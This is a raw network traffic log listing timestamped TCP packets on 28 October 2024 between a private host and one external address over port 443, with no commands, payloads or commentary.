Oct 28, 2024 06:28:31.493938923 CET	49959	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:31.493987083 CET	443	49953	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:31.494055033 CET	443	49953	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:31.494111061 CET	49953	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:31.494122028 CET	443	49953	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:31.494157076 CET	443	49953	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:31.494210958 CET	49953	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:31.494220972 CET	443	49953	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:31.494235992 CET	49953	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:31.494235992 CET	49953	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:31.494242907 CET	443	49953	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:31.494252920 CET	443	49953	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:31.494364977 CET	49959	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:31.494379997 CET	443	49959	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:31.496923923 CET	49960	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:31.497009039 CET	443	49960	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:31.497107983 CET	49960	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:31.497287989 CET	49960	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:31.497323036 CET	443	49960	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:31.500248909 CET	443	49954	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:31.500391960 CET	443	49954	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:31.500472069 CET	49954	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:31.500536919 CET	49954	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:31.500536919 CET	49954	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:31.500569105 CET	443	49954	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:31.500597954 CET	443	49954	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:31.503053904 CET	49961	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:31.503086090 CET	443	49961	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:31.503222942 CET	49961	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:31.503355026 CET	49961	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:31.503374100 CET	443	49961	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:31.526818991 CET	443	49956	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:31.526878119 CET	443	49956	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:31.526949883 CET	49956	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:31.526974916 CET	443	49956	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:31.527004957 CET	443	49956	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:31.527067900 CET	49956	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:31.527184963 CET	49956	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:31.527211905 CET	443	49956	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:31.527240038 CET	49956	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:31.527273893 CET	443	49956	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:31.529742956 CET	49962	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:31.529778957 CET	443	49962	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:31.529871941 CET	49962	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:31.530061007 CET	49962	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:31.530086994 CET	443	49962	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:32.229948044 CET	443	49958	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:32.230681896 CET	49958	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:32.230745077 CET	443	49958	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:32.231350899 CET	49958	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:32.231367111 CET	443	49958	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:32.233617067 CET	443	49959	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:32.233994961 CET	49959	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:32.234031916 CET	443	49959	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:32.234457016 CET	49959	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:32.234462976 CET	443	49959	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:32.239789963 CET	443	49960	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:32.242223024 CET	49960	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:32.242273092 CET	443	49960	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:32.243264914 CET	49960	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:32.243283033 CET	443	49960	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:32.249537945 CET	443	49961	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:32.249998093 CET	49961	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:32.250020981 CET	443	49961	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:32.250530958 CET	49961	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:32.250538111 CET	443	49961	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:32.263003111 CET	443	49962	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:32.263456106 CET	49962	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:32.263490915 CET	443	49962	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:32.263989925 CET	49962	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:32.263999939 CET	443	49962	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:32.364504099 CET	443	49959	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:32.364643097 CET	443	49959	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:32.364727020 CET	49959	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:32.364828110 CET	49959	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:32.364844084 CET	443	49959	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:32.364856958 CET	49959	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:32.364865065 CET	443	49959	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:32.368386030 CET	49963	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:32.368424892 CET	443	49963	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:32.368508101 CET	49963	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:32.368674994 CET	49963	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:32.368690968 CET	443	49963	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:32.370085955 CET	443	49960	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:32.370296955 CET	443	49960	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:32.370361090 CET	49960	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:32.370421886 CET	49960	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:32.370421886 CET	49960	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:32.370477915 CET	443	49960	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:32.370505095 CET	443	49960	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:32.372626066 CET	49964	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:32.372667074 CET	443	49964	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:32.372745037 CET	49964	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:32.372922897 CET	49964	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:32.372942924 CET	443	49964	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:32.381062984 CET	443	49961	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:32.381127119 CET	443	49961	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:32.381186962 CET	49961	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:32.381200075 CET	443	49961	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:32.381231070 CET	443	49961	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:32.381321907 CET	49961	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:32.381347895 CET	49961	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:32.381347895 CET	49961	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:32.381362915 CET	443	49961	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:32.381371975 CET	443	49961	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:32.384068966 CET	49965	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:32.384103060 CET	443	49965	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:32.384167910 CET	49965	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:32.384318113 CET	49965	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:32.384335041 CET	443	49965	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:32.393006086 CET	443	49962	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:32.393080950 CET	443	49962	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:32.393134117 CET	49962	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:32.393255949 CET	49962	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:32.393275976 CET	443	49962	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:32.393307924 CET	49962	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:32.393321037 CET	443	49962	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:32.395387888 CET	49966	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:32.395410061 CET	443	49966	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:32.395498037 CET	49966	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:32.395839930 CET	49966	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:32.395855904 CET	443	49966	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:32.432759047 CET	443	49958	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:32.432822943 CET	443	49958	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:32.432881117 CET	49958	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:32.432923079 CET	443	49958	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:32.432957888 CET	443	49958	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:32.433003902 CET	49958	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:32.433151960 CET	49958	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:32.433151960 CET	49958	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:32.433182955 CET	443	49958	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:32.433207989 CET	443	49958	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:32.436119080 CET	49967	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:32.436146975 CET	443	49967	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:32.436204910 CET	49967	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:32.436583042 CET	49967	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:32.436597109 CET	443	49967	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:33.108741045 CET	443	49965	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:33.110491991 CET	443	49963	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:33.115293980 CET	443	49964	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:33.144526005 CET	443	49966	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:33.149000883 CET	49965	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:33.164627075 CET	49963	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:33.164630890 CET	49964	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:33.169545889 CET	443	49967	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:33.195868015 CET	49966	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:33.211489916 CET	49967	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:33.230315924 CET	49967	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:33.230325937 CET	443	49967	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:33.234282970 CET	49967	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:33.234288931 CET	443	49967	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:33.240957975 CET	49966	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:33.240977049 CET	443	49966	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:33.241863012 CET	49966	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:33.241869926 CET	443	49966	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:33.242156029 CET	49965	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:33.242161036 CET	443	49965	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:33.243253946 CET	49965	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:33.243258953 CET	443	49965	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:33.243675947 CET	49963	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:33.243688107 CET	443	49963	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:33.244424105 CET	49963	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:33.244426966 CET	443	49963	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:33.244774103 CET	49964	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:33.244781017 CET	443	49964	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:33.245467901 CET	49964	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:33.245474100 CET	443	49964	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:33.364274025 CET	443	49967	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:33.364414930 CET	443	49967	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:33.364470959 CET	49967	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:33.364610910 CET	49967	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:33.364629984 CET	443	49967	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:33.364639997 CET	49967	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:33.364645958 CET	443	49967	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:33.366641045 CET	443	49965	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:33.366781950 CET	443	49965	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:33.366833925 CET	49965	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:33.367048979 CET	49965	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:33.367053032 CET	443	49965	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:33.367080927 CET	49965	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:33.367084980 CET	443	49965	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:33.368149042 CET	49968	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:33.368185997 CET	443	49968	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:33.368240118 CET	49968	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:33.368653059 CET	49968	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:33.368664980 CET	443	49968	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:33.369868994 CET	49969	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:33.369960070 CET	443	49969	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:33.370044947 CET	49969	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:33.370163918 CET	49969	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:33.370197058 CET	443	49969	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:33.371397972 CET	443	49963	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:33.371465921 CET	443	49963	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:33.371510983 CET	49963	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:33.371517897 CET	443	49963	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:33.371596098 CET	443	49963	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:33.371673107 CET	49963	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:33.371673107 CET	49963	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:33.371687889 CET	49963	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:33.371697903 CET	443	49963	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:33.373656988 CET	49970	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:33.373668909 CET	443	49970	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:33.373805046 CET	49970	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:33.373850107 CET	49970	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:33.373857975 CET	443	49970	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:33.374114990 CET	443	49964	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:33.374182940 CET	443	49964	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:33.374228954 CET	49964	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:33.374278069 CET	49964	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:33.374296904 CET	443	49964	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:33.374310970 CET	49964	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:33.374317884 CET	443	49964	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:33.376095057 CET	49971	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:33.376151085 CET	443	49971	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:33.376235008 CET	49971	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:33.376328945 CET	49971	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:33.376367092 CET	443	49971	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:33.410238981 CET	443	49966	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:33.410271883 CET	443	49966	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:33.410320997 CET	443	49966	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:33.410345078 CET	49966	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:33.410379887 CET	49966	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:33.410547018 CET	49966	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:33.410557985 CET	443	49966	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:33.410571098 CET	49966	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:33.410576105 CET	443	49966	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:33.412698984 CET	49972	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:33.412722111 CET	443	49972	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:33.412798882 CET	49972	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:33.412935972 CET	49972	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:33.412946939 CET	443	49972	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:34.103117943 CET	443	49970	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:34.103790045 CET	49970	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:34.103801966 CET	443	49970	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:34.104305029 CET	49970	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:34.104310036 CET	443	49970	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:34.107064009 CET	443	49971	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:34.107347965 CET	49971	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:34.107414961 CET	443	49971	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:34.107681990 CET	49971	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:34.107700109 CET	443	49971	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:34.118174076 CET	443	49969	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:34.118446112 CET	49969	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:34.118488073 CET	443	49969	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:34.118786097 CET	49969	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:34.118797064 CET	443	49969	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:34.136467934 CET	443	49968	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:34.137025118 CET	49968	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:34.137044907 CET	443	49968	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:34.137465954 CET	49968	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:34.137471914 CET	443	49968	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:34.147104979 CET	443	49972	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:34.147393942 CET	49972	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:34.147413969 CET	443	49972	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:34.147747040 CET	49972	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:34.147753000 CET	443	49972	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:34.231190920 CET	443	49970	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:34.231271982 CET	443	49970	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:34.231329918 CET	49970	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:34.231570959 CET	49970	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:34.231570959 CET	49970	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:34.231585026 CET	443	49970	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:34.231591940 CET	443	49970	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:34.235061884 CET	49973	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:34.235110044 CET	443	49973	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:34.235169888 CET	49973	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:34.235322952 CET	49973	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:34.235336065 CET	443	49973	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:34.244939089 CET	443	49971	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:34.245006084 CET	443	49971	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:34.245058060 CET	49971	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:34.245101929 CET	443	49971	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:34.245148897 CET	443	49971	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:34.245170116 CET	49971	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:34.245170116 CET	49971	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:34.245213985 CET	443	49971	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:34.247452974 CET	49974	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:34.247481108 CET	443	49974	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:34.247538090 CET	49974	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:34.247720003 CET	49974	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:34.247731924 CET	443	49974	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:34.249744892 CET	443	49969	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:34.249895096 CET	443	49969	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:34.249948978 CET	49969	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:34.249974966 CET	443	49969	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:34.250004053 CET	443	49969	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:34.250055075 CET	49969	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:34.250101089 CET	49969	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:34.250101089 CET	49969	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:34.250122070 CET	443	49969	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:34.250143051 CET	443	49969	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:34.252104044 CET	49975	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:34.252125025 CET	443	49975	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:34.252188921 CET	49975	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:34.252347946 CET	49975	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:34.252362967 CET	443	49975	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:34.258367062 CET	49971	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:34.258387089 CET	443	49971	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:34.272778988 CET	443	49968	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:34.272917032 CET	443	49968	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:34.273000956 CET	49968	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:34.273036003 CET	49968	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:34.273046017 CET	443	49968	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:34.273091078 CET	49968	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:34.273096085 CET	443	49968	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:34.274936914 CET	49976	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:34.275024891 CET	443	49976	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:34.275099993 CET	49976	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:34.275144100 CET	443	49972	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:34.275249958 CET	49976	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:34.275281906 CET	443	49972	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:34.275285006 CET	443	49976	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:34.275330067 CET	49972	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:34.275425911 CET	49972	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:34.275439978 CET	443	49972	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:34.275446892 CET	49972	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:34.275451899 CET	443	49972	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:34.277302027 CET	49977	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:34.277359962 CET	443	49977	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:34.277446032 CET	49977	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:34.277595043 CET	49977	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:34.277616978 CET	443	49977	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:34.956093073 CET	443	49973	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:34.956669092 CET	49973	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:34.956700087 CET	443	49973	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:34.957171917 CET	49973	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:34.957180023 CET	443	49973	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:34.971827030 CET	443	49974	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:34.972249031 CET	49974	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:34.972265959 CET	443	49974	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:34.972573996 CET	49974	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:34.972579956 CET	443	49974	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:34.999505997 CET	443	49975	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:35.001231909 CET	49975	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:35.001240969 CET	443	49975	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:35.001719952 CET	49975	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:35.001724958 CET	443	49975	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:35.009145021 CET	443	49976	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:35.009638071 CET	49976	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:35.009691000 CET	443	49976	13.107.246.45	192.168.2.4
